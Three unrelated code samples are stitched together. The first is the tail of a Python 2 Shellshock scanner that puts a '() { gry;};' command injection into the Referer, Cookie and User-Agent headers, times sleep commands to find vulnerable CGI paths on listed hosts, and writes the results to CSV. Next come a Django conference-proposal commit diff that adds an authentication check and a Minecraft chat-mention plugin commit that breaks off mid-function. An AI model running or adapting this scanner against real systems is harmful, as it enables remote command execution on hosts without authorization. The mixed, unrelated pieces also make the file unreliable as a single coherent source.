    # print >> sys.stderr, "Connecting to %s - %s" %(target_host, cgi_path)
    if protocol == 'http':
        conn = httplib.HTTPConnection(target_host, timeout=TIMEOUT)
    elif protocol == 'https':
        conn = httplib.HTTPSConnection(target_host, timeout=TIMEOUT)
    elif target_host.endswith('443'):   #https for 443,9443,...
        conn = httplib.HTTPSConnection(target_host, timeout=TIMEOUT)
    else:
        conn = httplib.HTTPConnection(target_host, timeout=TIMEOUT)

    shellcode="() { gry;};%s" % command

    headers = {"Content-type": "application/x-www-form-urlencoded",
        "Referer": shellcode,
        "Cookie": shellcode,
        "User-Agent": shellcode,
        "test": shellcode,
        }
    start = time.time()
    conn.request("GET", cgi_path, headers=headers)
    res = conn.getresponse()
    end = time.time()
    delay = end - start
    # print >> sys.stderr, "%s:\t[%s]\t%s %s\t%s" %(target_host, command, res.status, res.reason, delay)
    return (res.status, res.reason, delay)

def testSleep(target_host, cgi_path):
    try:
        status1 = reason1 = delay1 = status2 = reason2 = delay2 = None
        command1 = "/bin/sleep 0"	#Yes I know.. but I was too lazy to do just a normal request
        command2 = "/bin/sleep %s" % SLEEP_TIME
        status1, reason1, delay1 = exploit(target_host, cgi_path, command1)
        status2, reason2, delay2 = exploit(target_host, cgi_path, command2)
        warning = delay2 > SLEEP_TIME
        vulnerable = warning and delay2-delay1>DELAY_TIME
        if vulnerable:
            print "%s%s\t VULNERABLE" %(target_host, cgi_path)
        print "%s%s - %s - %s" %(target_host, cgi_path, vulnerable, delay2)
        return {'host': target_host,
                'cgi_path': cgi_path,
                'requests': [(command1, status1,reason1,delay1), (command2,status2,reason2,delay2)],
                'vulnerable' : vulnerable,
                'warning' : warning,
                'error': False,
                'delay_diff' : delay2-delay1
                }
    except:
        # Probably exception with the connection
        return {'host': target_host,
                'cgi_path': cgi_path,
                'requests': [(command1,status1,reason1,delay1), (command2,status2,reason2,delay2)],
                'vulnerable' : False,
                'warning' : False,
                'error': True,
                'delay_diff' : None
                }

def testCGIList(target_host, cgi_list):
    test_list = []
    errors = 0
    for cgi_path in cgi_list:
        cgitest = testSleep(target_host, cgi_path)
        test_list.append(cgitest)
        if cgitest['error'] is True:
            errors +=1;
        else:
            errors = 0
        if errors >= ERRORS_TO_ABORT:
            print "%s aborted due to %s consecutive connection errors" %(cgitest['host'], ERRORS_TO_ABORT)
            break;
    return test_list

def threadWork():
    global target_results
    while True:
        (target, cgi_list) = q.get()
        host_tests = testCGIList(target, cgi_list)
        target_results.append(host_tests)
        q.task_done()

def scan(target_list, cgi_list):
    global q
    q = Queue(concurrent * 2)
    for i in range(concurrent):
        t = Thread(target=threadWork)
        t.daemon = True
        t.start()
    try:
        for target in target_list:
            q.put((target, cgi_list))
        q.join()
    except keyboartInterrupt:
        return

def writeCSV(target_results, output):
    csvf = open(output, 'w')
    csvw = csv.writer(csvf, csv.excel)
    csvw.writerow(['HOST', 'CGIPATH', 'VULNERABLE', 'ERROR','WARNING', 'COMMAND1', 'STATUS1', 'REASON1', 'DELAY1', 'COMMAND2','STATUS2', 'REASON2', 'DELAY2', 'DELAY_DIFF'])
    target_results.sort()
    for host_list in target_results:
        for test in host_list:
            l = [
                test['host'],
                test['cgi_path'],
                test['vulnerable'],
                test['error'],
                test['warning'],
                test['requests'][0][0],
                test['requests'][0][1],
                test['requests'][0][2],
                test['requests'][0][3],
                test['requests'][1][0],
                test['requests'][1][1],
                test['requests'][1][2],
                test['requests'][1][3],
                test['delay_diff']
            ]
            pprint.pprint(l)
            csvw.writerow(l)

    csvf.close()

def main():
    if (len(sys.argv)<4):
        print "Usage: %s <host_file> <CGI_file> <output.csv> [threads] [http|https]" % sys.argv[0]
        print "Example: %s hosts.txt cgi_list.txt results.csv 20 http" % sys.argv[0]
        exit(0)

    target_list = [line.strip() for line in open(sys.argv[1]).readlines() if len(line.strip())>0]
    cgi_list = [line.strip() for line in open(sys.argv[2]).readlines() if len(line.strip())>0]

    try:
        global concurrent
        concurrent = int(sys.argv[4])
    except:
        pass

    try:
        if sys.argv[5] != 'http' and sys.argv[5] != 'https':
            print "Incorrect protocol, %s" %sys.argv[5]
            exit(0)
        global protocol
        protocol=sys.argv[5]
    except:
        pass

    scan(target_list, cgi_list)
    # pprint.pprint(target_results)
    writeCSV(target_results, sys.argv[3])
    exit(0)

if __name__ == '__main__':
    main()

<|endoftext|>


<commit_before># -*- coding: utf-8 -*-
from __future__ import unicode_literals, absolute_import

# Third Party Stuff
from django.conf import settings
from django.contrib.auth.decorators import login_required
from django.core.urlresolvers import reverse
from django.http.response import HttpResponse, HttpResponseForbidden, HttpResponseRedirect
from django.shortcuts import Http404, get_object_or_404, render
from django.views.decorators.http import require_http_methods

# Junction Stuff
from junction.base.constants import PROPOSAL_REVIEW_STATUS_SELECTED, PROPOSAL_STATUS_PUBLIC
from junction.conferences.models import Conference, ConferenceProposalReviewer

from .forms import ProposalCommentForm, ProposalForm, ProposalReviewForm
from .models import (
    Proposal,
    ProposalComment,
    ProposalCommentVote,
    ProposalSection,
    ProposalSectionReviewer,
    ProposalType,
    ProposalVote
)
from .services import send_mail_for_new_comment, send_mail_for_new_proposal

def _is_proposal_author(user, proposal):
    return user.is_authenticated() and proposal.author == user

def _is_proposal_reviewer(user, conference):
    return user.is_authenticated() and ConferenceProposalReviewer.objects.filter(
        reviewer=user, conference=conference, active=True).exists()

def _is_proposal_section_reviewer(user, conference, proposal):
    return ProposalSectionReviewer.objects.filter(
        conference_reviewer__reviewer=user,
        conference_reviewer__conference=conference,
        proposal_section=proposal.proposal_section,
        active=True).exists()

def _is_proposal_author_or_proposal_section_reviewer(user, conference, proposal):
    return _is_proposal_author(user, proposal) or \
        _is_proposal_section_reviewer(user, conference, proposal)

@require_http_methods(['GET'])
def list_proposals(request, conference_slug):
    conference = get_object_or_404(Conference, slug=conference_slug)

    proposals_qs = Proposal.objects.filter(conference=conference)

    user_proposals_list = []
    if request.user.is_authenticated():  # Display the proposals by this user
        user_proposals_list = proposals_qs.filter(author=request.user)

    proposals_to_review = []
    if _is_proposal_reviewer(request.user, conference):
        proposal_reviewer_sections = [p.proposal_section for p in
                                      ProposalSectionReviewer.objects.filter(
                                          conference_reviewer__reviewer=request.user)]
        proposals_to_review = [p for p in proposals_qs
                               if p.proposal_section in proposal_reviewer_sections]

    # Filtering
    proposal_section_filter = request.GET.getlist('proposal_section')
    proposal_type_filter = request.GET.getlist('proposal_type')
    is_filtered = False

    if proposal_section_filter:
        proposals_qs = proposals_qs.filter(
            proposal_section__id__in=proposal_section_filter)
        is_filtered = True

    if proposal_type_filter:
        proposals_qs = proposals_qs.filter(
            proposal_type__id__in=proposal_type_filter)
        is_filtered = True

    # make sure it's after the tag filtering is applied
    selected_proposals_list = proposals_qs.filter(
        review_status=PROPOSAL_REVIEW_STATUS_SELECTED)

    # Display proposals which are public & exclude logged in user proposals
    if request.user.is_authenticated():
        proposals_qs = proposals_qs.exclude(author=request.user.id)

    public_proposals_list = proposals_qs.exclude(review_status=PROPOSAL_REVIEW_STATUS_SELECTED).filter(
        status=PROPOSAL_STATUS_PUBLIC).order_by('-created_at')

    proposal_sections = ProposalSection.objects.filter(conferences=conference)
    proposal_types = ProposalType.objects.filter(conferences=conference)

    return render(request, 'proposals/list.html',
                  {'public_proposals_list': public_proposals_list,
                   'user_proposals_list': user_proposals_list,
                   'selected_proposals_list': selected_proposals_list,
                   'proposals_to_review': proposals_to_review,
                   'proposal_sections': proposal_sections,
                   'proposal_types': proposal_types,
                   'is_filtered': is_filtered,
                   'conference': conference})

@login_required
@require_http_methods(['GET', 'POST'])
def create_proposal(request, conference_slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    if request.method == 'GET':
        if conference.status != 1:
            return render(request, 'proposals/closed.html',
                          {'conference': conference})
        form = ProposalForm(conference)
        return render(request, 'proposals/create.html',
                      {'form': form,
                       'conference': conference, })

    # POST Workflow
    form = ProposalForm(conference, request.POST)

    if not form.is_valid():
        return render(request, 'proposals/create.html',
                      {'form': form,
                       'conference': conference,
                       'errors': form.errors})

    # Valid Form
    proposal = Proposal.objects.create(
        author=request.user,
        conference=conference,
        title=form.cleaned_data['title'],
        description=form.cleaned_data['description'],
        target_audience=form.cleaned_data['target_audience'],
        prerequisites=form.cleaned_data['prerequisites'],
        content_urls=form.cleaned_data['content_urls'],
        speaker_info=form.cleaned_data['speaker_info'],
        speaker_links=form.cleaned_data['speaker_links'],
        status=form.cleaned_data['status'],
        proposal_type_id=form.cleaned_data['proposal_type'],
        proposal_section_id=form.cleaned_data['proposal_section'])
    host = '{}://{}'.format(settings.SITE_PROTOCOL, request.META['HTTP_HOST'])
    send_mail_for_new_proposal(proposal, host)

    return HttpResponseRedirect(reverse('proposals-list',
                                        args=[conference.slug]))

@require_http_methods(['GET'])
def detail_proposal(request, conference_slug, slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=slug, conference=conference)
    allow_private_comment = _is_proposal_author_or_proposal_section_reviewer(request.user, conference, proposal)

    vote_value = 0

    try:
        if request.user.is_authenticated():
            proposal_vote = ProposalVote.objects.get(
                proposal=proposal, voter=request.user)
            vote_value = 1 if proposal_vote.up_vote else -1
    except ProposalVote.DoesNotExist:
        pass

    ctx = {
        'login_url': settings.LOGIN_URL,
        'proposal': proposal,
        'allow_private_comment': allow_private_comment,
        'vote_value': vote_value,
        'can_delete': request.user == proposal.author,
        'is_author': request.user == proposal.author,
    }

    comments = ProposalComment.objects.filter(
        proposal=proposal, deleted=False,
    )

    if allow_private_comment:
        ctx.update({
            'reviewers_comments': comments.filter(private=True),
            'reviewers_proposal_comment_form': ProposalCommentForm(
                initial={'private': True})
        })
    ctx.update({'comments': comments.filter(private=False),
                'proposal_comment_form': ProposalCommentForm()})
    return render(request, 'proposals/detail/base.html', ctx)

@login_required
@require_http_methods(['GET', 'POST'])
def update_proposal(request, conference_slug, slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=slug, conference=conference)

    if not proposal.author == request.user:
        return HttpResponseForbidden()

    if request.method == 'GET':
        form = ProposalForm.populate_form_for_update(proposal)
        return render(request, 'proposals/update.html', {'form': form,
                                                         'proposal': proposal})

    # POST Workflow
    form = ProposalForm(conference, request.POST)
    if not form.is_valid():
        return render(request, 'proposals/update.html', {'form': form,
                                                         'proposal': proposal,
                                                         'errors': form.errors})

    # Valid Form
    proposal.title = form.cleaned_data['title']
    proposal.description = form.cleaned_data['description']
    proposal.target_audience = form.cleaned_data['target_audience']
    proposal.prerequisites = form.cleaned_data['prerequisites']
    proposal.content_urls = form.cleaned_data['content_urls']
    proposal.speaker_info = form.cleaned_data['speaker_info']
    proposal.speaker_links = form.cleaned_data['speaker_links']
    proposal.status = form.cleaned_data['status']
    proposal.proposal_type_id = form.cleaned_data['proposal_type']
    proposal.proposal_section_id = form.cleaned_data['proposal_section']
    proposal.save()
    return HttpResponseRedirect(reverse('proposals-list',
                                        args=[conference.slug]))

@login_required
@require_http_methods(['GET', 'POST'])
def review_proposal(request, conference_slug, slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=slug, conference=conference)

    if not _is_proposal_section_reviewer(request.user, conference, proposal):
        return HttpResponseForbidden()

    if request.method == 'GET':

        comments = ProposalComment.objects.filter(
            proposal=proposal, deleted=False,
        )

        proposal_review_form = ProposalReviewForm(
            initial={'review_status': proposal.review_status})

        ctx = {
            'proposal': proposal,
            'proposal_review_form': proposal_review_form,
            'reviewers_comments': comments.filter(private=True),
            'reviewers_proposal_comment_form': ProposalCommentForm(
                initial={'private': True}),
        }

        return render(request, 'proposals/review.html', ctx)

    # POST Workflow
    form = ProposalReviewForm(request.POST)
    if not form.is_valid():
        return render(request, 'proposals/review.html', {'form': form,
                                                         'proposal': proposal,
                                                         'errors': form.errors})

    # Valid Form
    proposal.review_status = form.cleaned_data['review_status']
    proposal.save()
    return HttpResponseRedirect(reverse('proposals-list',
                                        args=[conference.slug]))

@login_required
@require_http_methods(['GET', 'POST'])
def delete_proposal(request, conference_slug, slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=slug, conference=conference)

    if not proposal.author == request.user:
        return HttpResponseForbidden()

    if request.method == 'GET':
        return render(request, 'proposals/delete.html', {'proposal': proposal})
    elif request.method == 'POST':
        proposal.delete()
        return HttpResponseRedirect(reverse('proposals-list',
                                            args=[conference.slug]))

@login_required
@require_http_methods(['POST'])
def create_proposal_comment(request, conference_slug, proposal_slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(
        Proposal, slug=proposal_slug, conference=conference)
    form = ProposalCommentForm(request.POST)
    if form.is_valid():
        comment = form.cleaned_data['comment']
        private = form.cleaned_data['private']

        if private and not _is_proposal_author_or_proposal_section_reviewer(
                request.user, conference, proposal):
            raise Http404()

        proposal_comment = ProposalComment.objects.create(
            proposal=proposal, comment=comment,
            private=private, commenter=request.user)
        send_mail_for_new_comment(
            proposal_comment, login_url=settings.LOGIN_URL,
            host='{}://{}'.format(settings.SITE_PROTOCOL,
                                  request.META['HTTP_HOST']))

    redirect_url = reverse('proposal-detail',
                           args=[conference.slug, proposal.slug])

    redirect_url += "#js-reviewers" if private else "#js-comments"

    return HttpResponseRedirect(redirect_url)

@login_required
def proposal_vote(request, conference_slug, proposal_slug, up_vote):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(
        Proposal, slug=proposal_slug, conference=conference)

    proposal_vote, created = ProposalVote.objects.get_or_create(
        proposal=proposal, voter=request.user)  # @UnusedVariable

    role = 2 if _is_proposal_reviewer(request.user, conference) else 1

    proposal_vote.role = role
    proposal_vote.up_vote = up_vote
    proposal_vote.save()

    return HttpResponse(proposal.get_votes_count())

@login_required
@require_http_methods(['POST'])
def proposal_vote_up(request, conference_slug, proposal_slug):
    return proposal_vote(request, conference_slug, proposal_slug, True)

@login_required
@require_http_methods(['POST'])
def proposal_vote_down(request, conference_slug, proposal_slug):
    return proposal_vote(request, conference_slug, proposal_slug, False)

def proposal_comment_vote(request, conference_slug, proposal_slug, comment_id,
                          up_vote):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=proposal_slug,
                                 conference=conference)
    proposal_comment = get_object_or_404(ProposalComment, proposal=proposal,
                                         id=comment_id)
    proposal_comment_vote, created = ProposalCommentVote.objects.get_or_create(
        proposal_comment=proposal_comment, voter=request.user)
    proposal_comment_vote.up_vote = up_vote
    proposal_comment_vote.save()

    return HttpResponseRedirect(reverse('proposal-detail',
                                        args=[conference.slug, proposal.slug]))

@login_required
@require_http_methods(['POST'])
def proposal_comment_up_vote(request, conference_slug, proposal_slug,
                             proposal_comment_id):
    return proposal_comment_vote(request, conference_slug, proposal_slug,
                                 proposal_comment_id, True)

@login_required
@require_http_methods(['POST'])
def proposal_comment_down_vote(request, conference_slug, proposal_slug,
                               proposal_comment_id):
    return proposal_comment_vote(request, conference_slug, proposal_slug,
                                 proposal_comment_id, False)
<commit_msg>fix lazy object<commit_after># -*- coding: utf-8 -*-
from __future__ import unicode_literals, absolute_import

# Third Party Stuff
from django.conf import settings
from django.contrib.auth.decorators import login_required
from django.core.urlresolvers import reverse
from django.http.response import HttpResponse, HttpResponseForbidden, HttpResponseRedirect
from django.shortcuts import Http404, get_object_or_404, render
from django.views.decorators.http import require_http_methods

# Junction Stuff
from junction.base.constants import PROPOSAL_REVIEW_STATUS_SELECTED, PROPOSAL_STATUS_PUBLIC
from junction.conferences.models import Conference, ConferenceProposalReviewer

from .forms import ProposalCommentForm, ProposalForm, ProposalReviewForm
from .models import (
    Proposal,
    ProposalComment,
    ProposalCommentVote,
    ProposalSection,
    ProposalSectionReviewer,
    ProposalType,
    ProposalVote
)
from .services import send_mail_for_new_comment, send_mail_for_new_proposal

def _is_proposal_author(user, proposal):
    return user.is_authenticated() and proposal.author == user

def _is_proposal_reviewer(user, conference):
    return user.is_authenticated() and ConferenceProposalReviewer.objects.filter(
        reviewer=user, conference=conference, active=True).exists()

def _is_proposal_section_reviewer(user, conference, proposal):
    return user.is_authenticated() and ProposalSectionReviewer.objects.filter(
        conference_reviewer__reviewer=user,
        conference_reviewer__conference=conference,
        proposal_section=proposal.proposal_section,
        active=True).exists()

def _is_proposal_author_or_proposal_section_reviewer(user, conference, proposal):
    return _is_proposal_author(user, proposal) or \
        _is_proposal_section_reviewer(user, conference, proposal)

@require_http_methods(['GET'])
def list_proposals(request, conference_slug):
    conference = get_object_or_404(Conference, slug=conference_slug)

    proposals_qs = Proposal.objects.filter(conference=conference)

    user_proposals_list = []
    if request.user.is_authenticated():  # Display the proposals by this user
        user_proposals_list = proposals_qs.filter(author=request.user)

    proposals_to_review = []
    if _is_proposal_reviewer(request.user, conference):
        proposal_reviewer_sections = [p.proposal_section for p in
                                      ProposalSectionReviewer.objects.filter(
                                          conference_reviewer__reviewer=request.user)]
        proposals_to_review = [p for p in proposals_qs
                               if p.proposal_section in proposal_reviewer_sections]

    # Filtering
    proposal_section_filter = request.GET.getlist('proposal_section')
    proposal_type_filter = request.GET.getlist('proposal_type')
    is_filtered = False

    if proposal_section_filter:
        proposals_qs = proposals_qs.filter(
            proposal_section__id__in=proposal_section_filter)
        is_filtered = True

    if proposal_type_filter:
        proposals_qs = proposals_qs.filter(
            proposal_type__id__in=proposal_type_filter)
        is_filtered = True

    # make sure it's after the tag filtering is applied
    selected_proposals_list = proposals_qs.filter(
        review_status=PROPOSAL_REVIEW_STATUS_SELECTED)

    # Display proposals which are public & exclude logged in user proposals
    if request.user.is_authenticated():
        proposals_qs = proposals_qs.exclude(author=request.user.id)

    public_proposals_list = proposals_qs.exclude(review_status=PROPOSAL_REVIEW_STATUS_SELECTED).filter(
        status=PROPOSAL_STATUS_PUBLIC).order_by('-created_at')

    proposal_sections = ProposalSection.objects.filter(conferences=conference)
    proposal_types = ProposalType.objects.filter(conferences=conference)

    return render(request, 'proposals/list.html',
                  {'public_proposals_list': public_proposals_list,
                   'user_proposals_list': user_proposals_list,
                   'selected_proposals_list': selected_proposals_list,
                   'proposals_to_review': proposals_to_review,
                   'proposal_sections': proposal_sections,
                   'proposal_types': proposal_types,
                   'is_filtered': is_filtered,
                   'conference': conference})

@login_required
@require_http_methods(['GET', 'POST'])
def create_proposal(request, conference_slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    if request.method == 'GET':
        if conference.status != 1:
            return render(request, 'proposals/closed.html',
                          {'conference': conference})
        form = ProposalForm(conference)
        return render(request, 'proposals/create.html',
                      {'form': form,
                       'conference': conference, })

    # POST Workflow
    form = ProposalForm(conference, request.POST)

    if not form.is_valid():
        return render(request, 'proposals/create.html',
                      {'form': form,
                       'conference': conference,
                       'errors': form.errors})

    # Valid Form
    proposal = Proposal.objects.create(
        author=request.user,
        conference=conference,
        title=form.cleaned_data['title'],
        description=form.cleaned_data['description'],
        target_audience=form.cleaned_data['target_audience'],
        prerequisites=form.cleaned_data['prerequisites'],
        content_urls=form.cleaned_data['content_urls'],
        speaker_info=form.cleaned_data['speaker_info'],
        speaker_links=form.cleaned_data['speaker_links'],
        status=form.cleaned_data['status'],
        proposal_type_id=form.cleaned_data['proposal_type'],
        proposal_section_id=form.cleaned_data['proposal_section'])
    host = '{}://{}'.format(settings.SITE_PROTOCOL, request.META['HTTP_HOST'])
    send_mail_for_new_proposal(proposal, host)

    return HttpResponseRedirect(reverse('proposals-list',
                                        args=[conference.slug]))

@require_http_methods(['GET'])
def detail_proposal(request, conference_slug, slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=slug, conference=conference)
    allow_private_comment = _is_proposal_author_or_proposal_section_reviewer(request.user, conference, proposal)

    vote_value = 0

    try:
        if request.user.is_authenticated():
            proposal_vote = ProposalVote.objects.get(
                proposal=proposal, voter=request.user)
            vote_value = 1 if proposal_vote.up_vote else -1
    except ProposalVote.DoesNotExist:
        pass

    ctx = {
        'login_url': settings.LOGIN_URL,
        'proposal': proposal,
        'allow_private_comment': allow_private_comment,
        'vote_value': vote_value,
        'can_delete': request.user == proposal.author,
        'is_author': request.user == proposal.author,
    }

    comments = ProposalComment.objects.filter(
        proposal=proposal, deleted=False,
    )

    if allow_private_comment:
        ctx.update({
            'reviewers_comments': comments.filter(private=True),
            'reviewers_proposal_comment_form': ProposalCommentForm(
                initial={'private': True})
        })
    ctx.update({'comments': comments.filter(private=False),
                'proposal_comment_form': ProposalCommentForm()})
    return render(request, 'proposals/detail/base.html', ctx)

@login_required
@require_http_methods(['GET', 'POST'])
def update_proposal(request, conference_slug, slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=slug, conference=conference)

    if not proposal.author == request.user:
        return HttpResponseForbidden()

    if request.method == 'GET':
        form = ProposalForm.populate_form_for_update(proposal)
        return render(request, 'proposals/update.html', {'form': form,
                                                         'proposal': proposal})

    # POST Workflow
    form = ProposalForm(conference, request.POST)
    if not form.is_valid():
        return render(request, 'proposals/update.html', {'form': form,
                                                         'proposal': proposal,
                                                         'errors': form.errors})

    # Valid Form
    proposal.title = form.cleaned_data['title']
    proposal.description = form.cleaned_data['description']
    proposal.target_audience = form.cleaned_data['target_audience']
    proposal.prerequisites = form.cleaned_data['prerequisites']
    proposal.content_urls = form.cleaned_data['content_urls']
    proposal.speaker_info = form.cleaned_data['speaker_info']
    proposal.speaker_links = form.cleaned_data['speaker_links']
    proposal.status = form.cleaned_data['status']
    proposal.proposal_type_id = form.cleaned_data['proposal_type']
    proposal.proposal_section_id = form.cleaned_data['proposal_section']
    proposal.save()
    return HttpResponseRedirect(reverse('proposals-list',
                                        args=[conference.slug]))

@login_required
@require_http_methods(['GET', 'POST'])
def review_proposal(request, conference_slug, slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=slug, conference=conference)

    if not _is_proposal_section_reviewer(request.user, conference, proposal):
        return HttpResponseForbidden()

    if request.method == 'GET':

        comments = ProposalComment.objects.filter(
            proposal=proposal, deleted=False,
        )

        proposal_review_form = ProposalReviewForm(
            initial={'review_status': proposal.review_status})

        ctx = {
            'proposal': proposal,
            'proposal_review_form': proposal_review_form,
            'reviewers_comments': comments.filter(private=True),
            'reviewers_proposal_comment_form': ProposalCommentForm(
                initial={'private': True}),
        }

        return render(request, 'proposals/review.html', ctx)

    # POST Workflow
    form = ProposalReviewForm(request.POST)
    if not form.is_valid():
        return render(request, 'proposals/review.html', {'form': form,
                                                         'proposal': proposal,
                                                         'errors': form.errors})

    # Valid Form
    proposal.review_status = form.cleaned_data['review_status']
    proposal.save()
    return HttpResponseRedirect(reverse('proposals-list',
                                        args=[conference.slug]))

@login_required
@require_http_methods(['GET', 'POST'])
def delete_proposal(request, conference_slug, slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=slug, conference=conference)

    if not proposal.author == request.user:
        return HttpResponseForbidden()

    if request.method == 'GET':
        return render(request, 'proposals/delete.html', {'proposal': proposal})
    elif request.method == 'POST':
        proposal.delete()
        return HttpResponseRedirect(reverse('proposals-list',
                                            args=[conference.slug]))

@login_required
@require_http_methods(['POST'])
def create_proposal_comment(request, conference_slug, proposal_slug):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(
        Proposal, slug=proposal_slug, conference=conference)
    form = ProposalCommentForm(request.POST)
    if form.is_valid():
        comment = form.cleaned_data['comment']
        private = form.cleaned_data['private']

        if private and not _is_proposal_author_or_proposal_section_reviewer(
                request.user, conference, proposal):
            raise Http404()

        proposal_comment = ProposalComment.objects.create(
            proposal=proposal, comment=comment,
            private=private, commenter=request.user)
        send_mail_for_new_comment(
            proposal_comment, login_url=settings.LOGIN_URL,
            host='{}://{}'.format(settings.SITE_PROTOCOL,
                                  request.META['HTTP_HOST']))

    redirect_url = reverse('proposal-detail',
                           args=[conference.slug, proposal.slug])

    redirect_url += "#js-reviewers" if private else "#js-comments"

    return HttpResponseRedirect(redirect_url)

@login_required
def proposal_vote(request, conference_slug, proposal_slug, up_vote):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(
        Proposal, slug=proposal_slug, conference=conference)

    proposal_vote, created = ProposalVote.objects.get_or_create(
        proposal=proposal, voter=request.user)  # @UnusedVariable

    role = 2 if _is_proposal_reviewer(request.user, conference) else 1

    proposal_vote.role = role
    proposal_vote.up_vote = up_vote
    proposal_vote.save()

    return HttpResponse(proposal.get_votes_count())

@login_required
@require_http_methods(['POST'])
def proposal_vote_up(request, conference_slug, proposal_slug):
    return proposal_vote(request, conference_slug, proposal_slug, True)

@login_required
@require_http_methods(['POST'])
def proposal_vote_down(request, conference_slug, proposal_slug):
    return proposal_vote(request, conference_slug, proposal_slug, False)

def proposal_comment_vote(request, conference_slug, proposal_slug, comment_id,
                          up_vote):
    conference = get_object_or_404(Conference, slug=conference_slug)
    proposal = get_object_or_404(Proposal, slug=proposal_slug,
                                 conference=conference)
    proposal_comment = get_object_or_404(ProposalComment, proposal=proposal,
                                         id=comment_id)
    proposal_comment_vote, created = ProposalCommentVote.objects.get_or_create(
        proposal_comment=proposal_comment, voter=request.user)
    proposal_comment_vote.up_vote = up_vote
    proposal_comment_vote.save()

    return HttpResponseRedirect(reverse('proposal-detail',
                                        args=[conference.slug, proposal.slug]))

@login_required
@require_http_methods(['POST'])
def proposal_comment_up_vote(request, conference_slug, proposal_slug,
                             proposal_comment_id):
    return proposal_comment_vote(request, conference_slug, proposal_slug,
                                 proposal_comment_id, True)

@login_required
@require_http_methods(['POST'])
def proposal_comment_down_vote(request, conference_slug, proposal_slug,
                               proposal_comment_id):
    return proposal_comment_vote(request, conference_slug, proposal_slug,
                                 proposal_comment_id, False)
<|endoftext|>


<commit_before>from helpers import *
from re import compile as reg_compile
from traceback import format_exc as print_traceback

mentions   = open_json_file("mentio", {}) # contains a list of keywords for each player (uuid)
max_amount = 3
arrow      = colorify(u"&r&7\u2192&r")
colors_reg = reg_compile(u"\u00A7[\\da-fk-or]") # finds color codes

def saveMentions():
    save_json_file("mentio", mentions)

@hook.event("player.AsyncPlayerChatEvent", "high")
def onChat(event):
    if not event.isCancelled():
        sender     = event.getPlayer()
        words      = event.getMessage().split(" ")
        recipients = event.getRecipients() # set of <Player>, may be a lazy or unmodifiable collection

        for recipient in list(recipients):
            recuid = uid(recipient)

            if recuid in mentions:
                keywords = mentions[uid(recipient)]
            else:
                # player
                keywords = [recipient.getName().lower(), stripcolors(recipient.getDisplayName()).lower()]

            rec_words = words[:] # copy
            for index, word in enumerate(rec_words):
                isMentioned = False

                for keyword in keywords:
                    if keyword in word.lower(): # is the keyword mentioned
                        isMentioned = True

                if isMentioned:
                    # join all color codes used upto this word
                    colors = "".join(colors_reg.findall("".join(words[:index+1])))
                    # highlight the word containing mention, then apply all previous color codes
                    rec_words[index] = colorify("&r&a&o") + stripcolors(word) + colorify("&r") + colors
                    # No need to
                    break

            # player was mentioned
            if rec_words != words:
                try:
                    recipients.remove(recipient) # don't send original message
                except:
                    # list might not be mutable, ignoring. Receiver will get the message twice
                    pass
                message = " "+" ".join([sender.getDisplayName(), arrow] + rec_words)
                msg(recipient, message, usecolor = False)
                recipient.playSound(recipient.getLocation(), "mob.chicken.plop", 1, 2)

def get_keywords(player):
    sender_id = uid(player)
    if sender_id in mentions.keys():
        keywords = mentions[sender_id]
    else:
        keywords = []
    return keywords

def add_keyword(sender, args):
    keywords = get_keywords(sender)
    new_word = stripcolors(args[1].lower())

    if len(keywords) >= max_amount:
        msg(sender, "&cYou are already listening for %s words! Try &6/mentio del <word>" % max_amount)
        return True

    if len(new_word) > 20:
        msg(sender, "&cThis word is longer than 20 characters. Pick a shorter one!")
        return True

    if new_word in keywords:
        msg(sender, "&cYou are already listening for this word! Try &6/mentio list")
        return True

    keywords.append(new_word)
    if keywords:
        mentions[uid(sender)] = keywords

    msg(sender, "&aYou are now listening for '&2%s&2'!" % new_word)
    saveMentions()
    return True

def del_keyword(sender, args):
    keywords = get_keywords(sender)
    del_word = stripcolors(args[1].lower())

    if not keywords:
        msg(sender, "&cYou are currently listening for no words! Try &6/mentio add <word>")
        return

    if del_word in keywords:
        keywords.remove(del_word)
        sender_id = uid(sender)
        if keywords:
            mentions[sender_id] = keywords
        elif sender_id in mentions:
            del mentions[sender_id]
        saveMentions()
        msg(sender, "&aYou are no longer listening for '&2%s&2'!" % del_word)
    else:
        msg(sender, "&cWe can't remove something that doesn't exist! Try &6/mentio list")

def show_help(player):
    msg(player, "&a/mentio add <word>")
    msg(player, "&a/mentio del <word>")
    msg(player, "&a/mentio list")

@hook.command("mentio")
def onListenCommand(sender, command, label, args):
    plugin_header(sender, "Mentio")

    argnum = len(args)
    if argnum:
        cmd = args[0].lower()

        # /mentio add <word>
        if argnum == 2 and cmd == "add":
            add_keyword(sender, args)

        # /mentio del <word>
        elif argnum == 2 and cmd == "del":
            del_keyword(sender, args)

        # /mentio list
        elif argnum == 1 and cmd == "list":
            msg(sender, "&aWords you're listening for:")
            keywords = get_keywords(sender)
            for word in keywords:
                msg(sender, "&c- &3%s" % word)
            if not keywords:
                msg(sender, "&cYou are currently listening for no words! Try &6/mentio add <word>")
        else:
            show_help(sender)
    else:
        show_help(sender)
    return True<commit_msg>Mentio toggle<commit_after>from helpers import *
from re import compile as reg_compile
from traceback import format_exc as print_traceback

mentions   = open_json_file("mentio", {}) # contains a list of keywords for each player (uuid)
max_amount = 3
arrow      = colorify(u"&r&7\u2192&r")
colors_reg = reg_compile(u"\u00A7[\\da-fk-or]") # finds color codes

mentio_toggle = []

def saveMentions():
